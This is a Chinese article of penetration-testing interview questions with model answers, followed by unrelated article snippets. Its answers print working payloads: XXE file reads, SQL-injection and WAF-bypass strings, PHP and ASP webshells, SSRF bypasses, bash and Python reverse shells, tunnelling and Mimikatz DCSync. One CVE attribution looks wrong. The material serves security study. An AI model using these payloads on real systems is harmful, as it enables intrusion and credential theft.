2025年常见渗透测试面试题(题目+回答)

网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

目录

 常见面试题

一、渗透测试经历与技术复盘

二、高频漏洞类型与攻防体系

三、渗透工具链与技术特性

四、WAF绕过技术矩阵

五、系统提权技术路径

六、开源组件高危漏洞库

七、CVE深度分析案例

八、服务器入侵应急响应流程

九、SQL注入全方位防御

十、中间件解析漏洞利用

十一、系统加固技术方案

十二、CDN穿透技术矩阵

十三、渗透测试方法论

十四、反弹Shell技术体系

十五、内网渗透实战框架

 常见面试题

介绍一下自认为有趣的挖洞经历(或CTF经历)
你平时用的比较多的漏洞是哪些?相关漏洞的原理?以及对应漏洞的修复方案?
你平时使用哪些工具?以及对应工具的特点?
如果遇到waf的情况下如何进行SQL注入/上传Webshell怎么做?
谈谈Windows系统与Linux系统提权的思路?
列举出您所知道的所有开源组件高危漏洞
描述一个你深入研究过的 CVE 或 POC
php/java反序列化漏洞的原理?解决方案?
如果一台服务器被入侵后,你会如何做应急响应?
介绍 SQL 注入漏洞成因,如何防范?注入方式有哪些?除了数据库数据,利用方式还有哪些?
常见的中间件解析漏洞利用方式
Windows、Linux、数据库的加固降权思路
如何绕过CDN获取目标网站真实IP,谈谈你的思路
如果给你一个网站,你的渗透测试思路是什么? 
你实际的渗透测试经历等等
反弹 shell 的常用命令?一般常反弹哪一种 shell?为什么?
SSRF漏洞的成因 防御 绕过?
有哪些反向代理的工具,有没有实际的内网渗透经历?

一、渗透测试经历与技术复盘

  1. XXE漏洞挖掘案例 在某金融系统测试中发现XML解析模块未禁用外部实体引用,通过构造恶意DTD实现:
xml<!DOCTYPE data [<!ENTITY xxe SYSTEM "file:///etc/passwd">]> <data>&xxe;</data>

利用过程:通过观察HTTP请求Content-Type为application/xml,测试不同XML结构触发文件读取。修复方案:配置XML解析器禁用外部实体(如设置XMLConstants.FEATURE_SECURE_PROCESSING

  1. 逻辑漏洞组合利用 在电商平台发现"购物车价格篡改+并发请求"组合漏洞:
  • 修改前端价格参数后发送100次并发请求
  • 利用订单状态机处理延迟(5秒内未支付可重复提交)
  • 修复方案:后端价格校验+分布式锁控制订单创建
  1. CTF中SSRF绕过案例 目标环境过滤127.0.0.1,使用以下技术链:
http://0177.0.0.1 → 八进制IP编码 
http://localhost. → 域名后缀绕过 
http://{FALSE DOMAIN}?x=http://127.0.0.1 → 二次跳转 

二、高频漏洞类型与攻防体系

(以下为节选部分内容,完整版包含10类漏洞分析)

  1. SQL注入 原理:未过滤用户输入导致查询结构破坏
sqlSELECT * FROM users WHERE id='1' UNION SELECT database()-- '

修复方案:

  • 预编译语句(Java示例):
javaPreparedStatement stmt = conn.prepareStatement("SELECT * FROM users WHERE id=?"); stmt.setString(1, input);
  1. 反序列化漏洞 Java反序列化攻击链构建:
javapublic class Exploit implements Serializable { private void readObject(ObjectInputStream in) { Runtime.getRuntime().exec("calc.exe"); } }

防御方案:

  • 使用SafeObjectInputStream
  • 配置serialFilter白名单

三、渗透工具链与技术特性

工具名称核心功能技术特点
SQLMapSQL注入检测支持6种注入技术,自动识别WAF
Burp SuiteWeb漏洞扫描可扩展插件架构,支持Intruder模块爆破
Metasploit漏洞利用框架集成2000+漏洞模块,支持载荷生成

四、WAF绕过技术矩阵

  1. SQL注入绕过技术:
  • 注释符变异:/*!50000SELECT*/
  • 字符编码:CHAR(83,69,76,69,67,84)
  • 等价函数替换:MID() → SUBSTR()
  1. 文件上传绕过方案:
httpPOST /upload HTTP/1.1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary ------WebKitFormBoundary Content-Disposition: form-data; name="file"; filename="test.pHp" Content-Type: image/jpeg <?php system($_GET['cmd']);?>

五、系统提权技术路径

Windows提权路线:

  1. 服务路径漏洞:劫持未引号服务路径
  2. DLL注入:利用PSExec加载恶意DLL
  3. 令牌窃取:使用Mimikatz获取SYSTEM令牌

Linux提权技术:

bash# SUID提权案例 find / -perm -4000 2>/dev/null # 内核漏洞利用 gcc dirtycow.c -o exp && ./exp 

六、开源组件高危漏洞库

(节选部分,完整列表包含15个CVE)

  1. Apache Log4j2 (CVE-2021-44228)
  • 影响版本:2.0-beta9 to 2.14.1
  • 修复方案:升级至2.15.0+并设置log4j2.formatMsgNoLookups=true
  1. Fastjson反序列化 (CNVD-2019-22238)
  • 攻击载荷:利用JNDI注入点
  • 安全配置:启用SafeMode

七、CVE深度分析案例

以CVE-2021-34429(VMware vCenter漏洞)为例:

  1. 漏洞成因:OVA文件上传时未校验XML签名
  2. 利用链:
pythonwith zipfile.ZipFile('exploit.ova', 'w') as z: z.writestr('service.xml', malicious_xml)
  1. 流量特征:HTTP PUT请求包含/vsphere-client/...路径

八、服务器入侵应急响应流程

  1. 事件确认阶段:
  • 使用Volatility分析内存镜像
  • 检查/etc/passwd修改时间戳
bashstat -c %y /etc/passwd 
  1. 溯源分析:
  • 查询防火墙日志
bashgrep 'ESTABLISHED' /var/log/iptables.log 
  • 提取Webshell特征码:
php$s = preg_replace('/.*eval\((.*)\).*/', '$1', $fileContents);

九、SQL注入全方位防御

防范技术体系:

  1. 输入验证:正则表达式过滤[\s'";#]
  2. 数据库加固:
sqlREVOKE FILE ON *.* FROM 'webuser'@'%'; ALTER USER 'webuser'@'%' WITH MAX_QUERIES_PER_HOUR 100;

十、中间件解析漏洞利用

IIS 6.0解析漏洞利用:

httpPUT /test.txt HTTP/1.1 Host: target Content-Length: 100 <%execute(request("cmd"))%>

通过重命名为test.txt;.asp 触发脚本执行

十一、系统加固技术方案

Windows加固清单:

  1. 服务管理:
powershellGet-Service | Where-Object {$_.StartType -eq 'Auto'} Set-Service -Name "Telnet" -StartupType Disabled 

Linux权限控制:

bashchmod 0755 /usr/bin/wget setfacl -m u:www-data:r-x /var/www 

十二、CDN穿透技术矩阵

真实IP发现方法:

  1. 全球DNS历史记录查询
  2. 子域名爆破:*.internal.example.com
  3. SSL证书关联分析:openssl s_client -connect target:443

十三、渗透测试方法论

五阶段模型:

  1. 信息收集:
bashsubfinder -d example.com -o subs.txt nmap -sV --script=http-title -iL subs.txt 
  1. 漏洞利用:
pythonrequests.post(url, data={"id": "1 AND 1=LOAD_FILE('/etc/passwd')"})

十四、反弹Shell技术体系

常用Payload对比:

bash# Bash反弹 bash -i >& /dev/tcp/10.0.0.1/4444 0>&1 # Python稳定性更强 python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("10.0.0.1",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' 

十五、内网渗透实战框架

内网穿透方案:

  1. 使用reGeorg建立隧道:
pythonpython reGeorgSocksProxy.py -p 8080 -u http://target/tunnel.php 
  1. 横向移动技术:
powershellInvoke-Mimikatz -Command '"lsadump::dcsync /domain:corp /user:Administrator"'

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/77001.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

大数据与人工智能之大数据架构(Hadoop、Spark、Flink)

一、核心特性与架构设计 1. Hadoop&#xff1a;分布式批处理的基石 核心组件&#xff1a; HDFS&#xff1a;分布式文件系统&#xff0c;支持大规模数据存储。MapReduce&#xff1a;基于“分而治之”的批处理模型&#xff0c;适合离线分析。 架构特点&#xff1a; 批处理主导&…

从IoT到AIoT:智能边界的拓展与AI未来趋势预测

文章目录 引言&#xff1a;从连接万物到感知万物1. AIoT的本质&#xff1a;将智能嵌入万物2. AIoT的推动力量与挑战2.1 推动力量2.2 关键挑战 3. 五大AIoT未来趋势预测趋势一&#xff1a;边缘智能将成为主流架构趋势二&#xff1a;AI模型将向自适应与多任务演进趋势三&#xff…

从本地新建文件夹到拉取远程仓库 dev 分支的完整步骤

《从本地新建文件夹到拉取远程仓库 dev 分支的完整步骤》 下面为你详细介绍从本地新建文件夹开始&#xff0c;将远程仓库的 dev 分支拉取到本地的具体步骤&#xff1a; 1. 创建新文件夹 在本地电脑上新建一个文件夹&#xff0c;作为存放项目代码的目录。你可以通过图形界面操…

python/pytorch杂聊

Dataset 是否需要自己定义&#xff1a;如果你使用的数据集不是 PyTorch 提供的标准数据集&#xff08;如 MNIST、CIFAR-10 等&#xff09;&#xff0c;那么你需要继承 torch.utils.data.Dataset 类并实现两个方法&#xff1a;__len__() 和 __getitem__()。__len__() 应该返回数…

PHP 安全 E-mail

PHP 安全 E-mail 引言 随着互联网的普及和电子商务的发展,电子邮件成为了人们日常生活中不可或缺的通信工具。PHP作为一种广泛使用的服务器端脚本语言,也经常被用于发送和接收电子邮件。然而,在PHP中处理电子邮件时,安全性问题不容忽视。本文将深入探讨PHP安全发送电子邮…

【夜话系列】DelayQueue延迟队列(下):实战应用与面试精讲

🔥 本文是DelayQueue系列的下篇,聚焦实战应用场景和性能优化。通过多个真实案例,带你掌握DelayQueue在项目中的最佳实践和性能调优技巧。 📚 系列专栏推荐: JAVA集合专栏 【夜话集】JVM知识专栏数据库sql理论与实战小游戏开发文章目录 一、DelayQueue实战应用1.1 订单超…

Redis(笔记)

简介&#xff1a; 常用数据类型: 常用操作命令&#xff1a; Redis的Java客户端&#xff1a; 操作字符串类型的数据&#xff1a; 操作Hash类型的数据&#xff1a; 操作列表类型的数据&#xff1a; 操作集合类型的数据&#xff1a; 操作有序集合类型数据&#xff1a; 通用命令…

PhotoShop学习05

1.选区基础知识 选区&#xff0c;就是选定一些区域&#xff0c;我们对图片的更改只在选区内生效&#xff0c;这样可以精细调整图片的部分而不会影响整体。它的快捷键是M。 我们用点击鼠标后滑动就会出现虚线框&#xff0c;虚线框内的就是我们选定的区域。这时我们再滑动就会创…

使用Redission实现分布式锁

分布式锁在分布式系统中非常重要&#xff0c;主要用于解决多个进程/服务并发访问共享资源时的数据一致性问题。在日常开发中常用于&#xff1a; 1. 防止重复操作&#xff08;幂等性控制&#xff09; 场景&#xff1a;用户重复提交订单、重复支付、重复点击等。 示例&#xff1…

VScode 画时序图(FPGA)

1、先安装插件&#xff1a; 2、然后就可以编写一个.js文件&#xff0c;如下&#xff1a; {signal: [{name: clk, wave: p.......|..},{name: rstn, wave: 01......|..},{name: din_vld, wave: 0.1.0...|..},{name: din, wave: "x.x...|..", data: ["D0", …

嵌入式学习笔记——I2C

IIC协议详解 一、IIC协议简介二、IIC总线结构图三、IIC通信流程详解1. 空闲状态 : 双高空闲2. 起始信号&#xff08;START&#xff09;: 时高数下开始3. 停止信号&#xff08;STOP&#xff09;: 时高数上结束4. 数据传输格式 : 时高数稳&#xff0c;时低数变5. 应答信号 四、写…

Apifox Helper 与 Swagger3 区别

核心定位差异 Apifox Helper 定位&#xff1a;基于 IDEA 的代码注释解析工具&#xff0c;与 Apifox 平台深度集成&#xff0c;实现文档自动生成接口管理测试协作的一体化流程。 特点&#xff1a; 通过解析 Javadoc、KDoc 等注释生成文档&#xff0c;代码零侵入&#xff08;无…

单片机实现多线程的方法汇总

在单片机上实现“多线程”的方法有几种&#xff0c;下面按照从简单到复杂、从轻量到系统性来列出常见的方案&#xff1a; &#x1f9f5; 一、伪多线程&#xff08;最轻量&#xff09; 方法&#xff1a;主循环 状态机 / 定时器轮询 主循环中轮流调用各个任务的处理函数&#x…

网络:华为数通HCIA学习:静态路由基础

文章目录 前言静态路由基础静态路由应用场景 静态路由配置静态路由在串行网络的配置静态路由在以太网中的配置 负载分担配置验证 路由备份&#xff08;浮动静态路由&#xff09;配置验证 缺省路由配置验证 总结 华为HCIA 基础实验&#xff0d;静态路由 & eNSP静态路由 基础…

[项目总结] 在线OJ刷题系统项目技术应用(下)

&#x1f338;个人主页:https://blog.csdn.net/2301_80050796?spm1000.2115.3001.5343 &#x1f3f5;️热门专栏: &#x1f9ca; Java基本语法(97平均质量分)https://blog.csdn.net/2301_80050796/category_12615970.html?spm1001.2014.3001.5482 &#x1f355; Collection与…

Qt音频输出:QAudioOutput详解与示例

1. 简介 QAudioOutput是Qt多媒体框架中的一个关键类&#xff0c;它提供了将PCM&#xff08;脉冲编码调制&#xff09;原始音频数据发送到音频输出设备的接口。作为Qt多媒体组件的一部分&#xff0c;QAudioOutput允许开发者在应用程序中实现音频播放功能&#xff0c;支持多种音…

【计算机网络】Linux配置SNAT/DNAT策略

什么是NAT&#xff1f; NAT 全称是 Network Address Translation&#xff08;网络地址转换&#xff09;&#xff0c;是一个用来在多个设备共享一个公网 IP上网的技术。 NAT 的核心作用&#xff1a;将一个网络中的私有 IP 地址&#xff0c;转换为公网 IP 地址&#xff0c;从而…

Redis淘汰策略详解!

目录 一、为什么需要淘汰策略&#xff1f; &#x1f914;二、Redis 的淘汰策略详解 &#x1f447;三、如何选择合适的淘汰策略&#xff1f; &#x1f914;➡️✅四、如何切换 Redis 的淘汰策略&#xff1f; ⚙️&#x1f527;五、总结 &#x1f389; &#x1f31f;我的其他文章…

存储基石:深度解读Linux磁盘管理机制与文件系统实战

Linux系列 文章目录 Linux系列前言一、磁盘1.1 初识磁盘1.2 磁盘的物理结构1.3 磁盘的存储结构1.4 磁盘的逻辑结构 二、文件系统2.1 系统对磁盘的管理2.2 文件在磁盘中的操作 前言 Linux 文件系统是操作系统中用于管理和组织存储设备&#xff08;如硬盘、SSD、USB 等&#xff…

本节课课堂总结

匿名子类&#xff1a; 说明 和 Java 一样&#xff0c;可以通过包含带有定义或重写的代码块的方式创建一个匿名的子类。 单例对象&#xff08;伴生对象&#xff09; Scala语言是完全面向对象的语言&#xff0c;所以并没有静态的操作&#xff08;即在Scala中没有静态的概念&a…